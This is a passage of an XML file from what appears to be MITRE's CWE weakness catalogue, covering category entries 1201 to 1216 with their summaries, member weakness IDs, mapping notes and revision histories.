            <Has_Member CWE_ID="1253" View_ID="1194"/>
            <Has_Member CWE_ID="1254" View_ID="1194"/>
            <Has_Member CWE_ID="1261" View_ID="1194"/>
            <Has_Member CWE_ID="1298" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1201" Name="Core and Compute Issues" Status="Draft">
         <Summary>Weaknesses in this category are typically associated with CPUs, Graphics, Vision, AI, FPGA, and microcontrollers.</Summary>
         <Relationships>
             <Has_Member CWE_ID="1252" View_ID="1194"/>
             <Has_Member CWE_ID="1281" View_ID="1194"/>
             <Has_Member CWE_ID="1342" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1202" Name="Memory and Storage Issues" Status="Draft">
         <Summary>Weaknesses in this category are typically associated with memory (e.g., DRAM, SRAM) and storage technologies (e.g., NAND Flash, OTP, EEPROM, and eMMC).</Summary>
         <Relationships>
            <Has_Member CWE_ID="226" View_ID="1194"/>
            <Has_Member CWE_ID="1246" View_ID="1194"/>
            <Has_Member CWE_ID="1251" View_ID="1194"/>
            <Has_Member CWE_ID="1257" View_ID="1194"/>
            <Has_Member CWE_ID="1282" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1203" Name="Peripherals, On-chip Fabric, and Interface/IO Problems" Status="Draft">
         <Summary>
		   Weaknesses in this category are related to hardware
		   security problems that apply to peripheral devices, IO
		   interfaces, on-chip interconnects, network-on-chip (NoC),
		   and buses.  For example, this category includes issues
		   related to design of hardware interconnect and/or protocols
		   such as PCIe, USB, SMBUS, general-purpose IO pins, and
		   user-input peripherals such as mouse and keyboard.
		 </Summary>
       <Relationships>
             <Has_Member CWE_ID="1311" View_ID="1194"/>
             <Has_Member CWE_ID="1312" View_ID="1194"/>
             <Has_Member CWE_ID="1315" View_ID="1194"/>
             <Has_Member CWE_ID="1316" View_ID="1194"/>
             <Has_Member CWE_ID="1317" View_ID="1194"/>
             <Has_Member CWE_ID="1331" View_ID="1194"/>
       </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1205" Name="Security Primitives and Cryptography Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to hardware implementations of cryptographic protocols and other hardware-security primitives such as physical unclonable functions (PUFs) and random number generators (RNGs).</Summary>
         <Relationships>
            <Has_Member CWE_ID="203" View_ID="1194"/>
            <Has_Member CWE_ID="325" View_ID="1194"/>
            <Has_Member CWE_ID="1240" View_ID="1194"/>
            <Has_Member CWE_ID="1241" View_ID="1194"/>
            <Has_Member CWE_ID="1279" View_ID="1194"/>
            <Has_Member CWE_ID="1351" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1206" Name="Power, Clock, Thermal, and Reset Concerns" Status="Draft">
         <Summary>Weaknesses in this category are related to system power, voltage, current, temperature, clocks, system state saving/restoring, and resets at the platform and SoC level.</Summary>
         <Relationships>
             <Has_Member CWE_ID="1232" View_ID="1194"/>
             <Has_Member CWE_ID="1247" View_ID="1194"/>
             <Has_Member CWE_ID="1248" View_ID="1194"/>
             <Has_Member CWE_ID="1255" View_ID="1194"/>
             <Has_Member CWE_ID="1256" View_ID="1194"/>
             <Has_Member CWE_ID="1271" View_ID="1194"/>
             <Has_Member CWE_ID="1304" View_ID="1194"/>
             <Has_Member CWE_ID="1314" View_ID="1194"/>
             <Has_Member CWE_ID="1320" View_ID="1194"/>
             <Has_Member CWE_ID="1332" View_ID="1194"/>
             <Has_Member CWE_ID="1338" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Name</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2022-10-13">Power, Clock, and Reset Concerns</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1207" Name="Debug and Test Problems" Status="Draft">
         <Summary>Weaknesses in this category are related to hardware debug and test interfaces such as JTAG and scan chain.</Summary>
         <Relationships>
             <Has_Member CWE_ID="1191" View_ID="1194"/>
             <Has_Member CWE_ID="1234" View_ID="1194"/>
             <Has_Member CWE_ID="1243" View_ID="1194"/>
             <Has_Member CWE_ID="1244" View_ID="1194"/>
             <Has_Member CWE_ID="1258" View_ID="1194"/>
             <Has_Member CWE_ID="1272" View_ID="1194"/>
             <Has_Member CWE_ID="1291" View_ID="1194"/>
             <Has_Member CWE_ID="1295" View_ID="1194"/>
			    <Has_Member CWE_ID="1296" View_ID="1194"/>
             <Has_Member CWE_ID="1313" View_ID="1194"/>
			    <Has_Member CWE_ID="1323" View_ID="1194"/>
			<Has_Member CWE_ID="319" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1208" Name="Cross-Cutting Problems" Status="Draft">
         <Summary>Weaknesses in this category can arise in multiple areas of hardware design or can apply to a wide cross-section of components.</Summary>
         <Relationships>
            <Has_Member CWE_ID="440" View_ID="1194"/>
            <Has_Member CWE_ID="1053" View_ID="1194"/>
            <Has_Member CWE_ID="1059" View_ID="1194"/>
            <Has_Member CWE_ID="1263" View_ID="1194"/>
	    	<Has_Member CWE_ID="1277" View_ID="1194"/>
            <Has_Member CWE_ID="1301" View_ID="1194"/>
			<Has_Member CWE_ID="1329" View_ID="1194"/>
			<Has_Member CWE_ID="1357" View_ID="1194"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
             <Submission>
			     <Submission_Name>CWE Content Team</Submission_Name>
			     <Submission_Organization>MITRE</Submission_Organization>
                 <Submission_Date>2019-12-27</Submission_Date>
             </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1210" Name="Audit / Logging Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to audit-based components of a software system. Frequently these deal with logging user activities in order to identify undesired access and modifications to the system. The weaknesses in this category could lead to a degradation of the quality of the audit capability if they are not addressed.</Summary>
         <Relationships>
            <Has_Member CWE_ID="117" View_ID="699"/>
            <Has_Member CWE_ID="222" View_ID="699"/>
            <Has_Member CWE_ID="223" View_ID="699"/>
            <Has_Member CWE_ID="224" View_ID="699"/>
            <Has_Member CWE_ID="778" View_ID="699"/>
            <Has_Member CWE_ID="779" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1211" Name="Authentication Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to authentication components of a system. Frequently these deal with the ability to verify that an entity is indeed who it claims to be. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authentication capability.</Summary>
         <Relationships>
            <Has_Member CWE_ID="289" View_ID="699"/>
            <Has_Member CWE_ID="290" View_ID="699"/>
            <Has_Member CWE_ID="294" View_ID="699"/>
            <Has_Member CWE_ID="295" View_ID="699"/>
            <Has_Member CWE_ID="301" View_ID="699"/>
            <Has_Member CWE_ID="303" View_ID="699"/>
            <Has_Member CWE_ID="305" View_ID="699"/>
            <Has_Member CWE_ID="306" View_ID="699"/>
            <Has_Member CWE_ID="307" View_ID="699"/>
            <Has_Member CWE_ID="308" View_ID="699"/>
            <Has_Member CWE_ID="309" View_ID="699"/>
            <Has_Member CWE_ID="322" View_ID="699"/>
            <Has_Member CWE_ID="603" View_ID="699"/>
            <Has_Member CWE_ID="645" View_ID="699"/>
            <Has_Member CWE_ID="804" View_ID="699"/>
            <Has_Member CWE_ID="836" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1212" Name="Authorization Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to authorization components of a system. Frequently these deal with the ability to enforce that agents have the required permissions before performing certain operations, such as modifying data. If not addressed when designing or implementing a software system, these weaknesses could lead to a degradation of the quality of the authorization capability.</Summary>
         <Relationships>
            <Has_Member CWE_ID="425" View_ID="699"/>
            <Has_Member CWE_ID="551" View_ID="699"/>
            <Has_Member CWE_ID="552" View_ID="699"/>
            <Has_Member CWE_ID="639" View_ID="699"/>
            <Has_Member CWE_ID="653" View_ID="699"/>
            <Has_Member CWE_ID="939" View_ID="699"/>
            <Has_Member CWE_ID="842" View_ID="699"/>
            <Has_Member CWE_ID="1220" View_ID="699"/>
            <Has_Member CWE_ID="1230" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1213" Name="Random Number Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to a software system's random number generation.</Summary>
         <Relationships>
            <Has_Member CWE_ID="331" View_ID="699"/>
            <Has_Member CWE_ID="334" View_ID="699"/>
            <Has_Member CWE_ID="335" View_ID="699"/>
            <Has_Member CWE_ID="338" View_ID="699"/>
            <Has_Member CWE_ID="341" View_ID="699"/>
            <Has_Member CWE_ID="342" View_ID="699"/>
            <Has_Member CWE_ID="343" View_ID="699"/>
            <Has_Member CWE_ID="344" View_ID="699"/>
            <Has_Member CWE_ID="1241" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1214" Name="Data Integrity Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to a software system's data integrity components. Frequently these deal with the ability to ensure the integrity of data, such as messages, resource files, deployment files, and configuration files. The weaknesses in this category could lead to a degradation of data integrity quality if they are not addressed.</Summary>
         <Relationships>
            <Has_Member CWE_ID="322" View_ID="699"/>
            <Has_Member CWE_ID="346" View_ID="699"/>
            <Has_Member CWE_ID="347" View_ID="699"/>
            <Has_Member CWE_ID="348" View_ID="699"/>
            <Has_Member CWE_ID="349" View_ID="699"/>
            <Has_Member CWE_ID="351" View_ID="699"/>
            <Has_Member CWE_ID="353" View_ID="699"/>
            <Has_Member CWE_ID="354" View_ID="699"/>
            <Has_Member CWE_ID="494" View_ID="699"/>
            <Has_Member CWE_ID="565" View_ID="699"/>
            <Has_Member CWE_ID="649" View_ID="699"/>
            <Has_Member CWE_ID="829" View_ID="699"/>
            <Has_Member CWE_ID="924" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="1215" Name="Data Validation Issues" Status="Draft">
         <Summary>Weaknesses in this category are related to a software system's components for input validation, output validation, or other kinds of validation. Validation is a frequently-used technique for ensuring that data conforms to expectations before it is further processed as input or output.  There are many varieties of validation (see CWE-20, which is just for input validation). Validation is distinct from other techniques that attempt to modify data before processing it, although developers may consider all attempts to product "safe" inputs or outputs as some kind of validation.  Regardless, validation is a powerful tool that is often used to minimize malformed data from entering the system, or indirectly avoid code injection or other potentially-malicious patterns when generating output. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed.</Summary>
         <Relationships>
            <Has_Member CWE_ID="112" View_ID="699"/>
            <Has_Member CWE_ID="179" View_ID="699"/>
            <Has_Member CWE_ID="183" View_ID="699"/>
            <Has_Member CWE_ID="184" View_ID="699"/>
            <Has_Member CWE_ID="606" View_ID="699"/>
            <Has_Member CWE_ID="641" View_ID="699"/>
            <Has_Member CWE_ID="1173" View_ID="699"/>
            <Has_Member CWE_ID="1284" View_ID="699"/>
            <Has_Member CWE_ID="1285" View_ID="699"/>
            <Has_Member CWE_ID="1286" View_ID="699"/>
            <Has_Member CWE_ID="1287" View_ID="699"/>
            <Has_Member CWE_ID="1288" View_ID="699"/>
            <Has_Member CWE_ID="1289" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Relationship">
               <xhtml:p>CWE-20 (Improper Input Validation) is not included in this category because it is a Class level, and this category focuses more on Base level weaknesses.  Also note that other kinds of weaknesses besides improper validation are included as members of this category.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2019-12-30</Submission_Date>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-26">Input Validation Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="1216" Name="Lockout Mechanism Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to a software system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed.</Summary>
         <Relationships>
            <Has_Member CWE_ID="645" View_ID="699"/>
         </Relationships>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
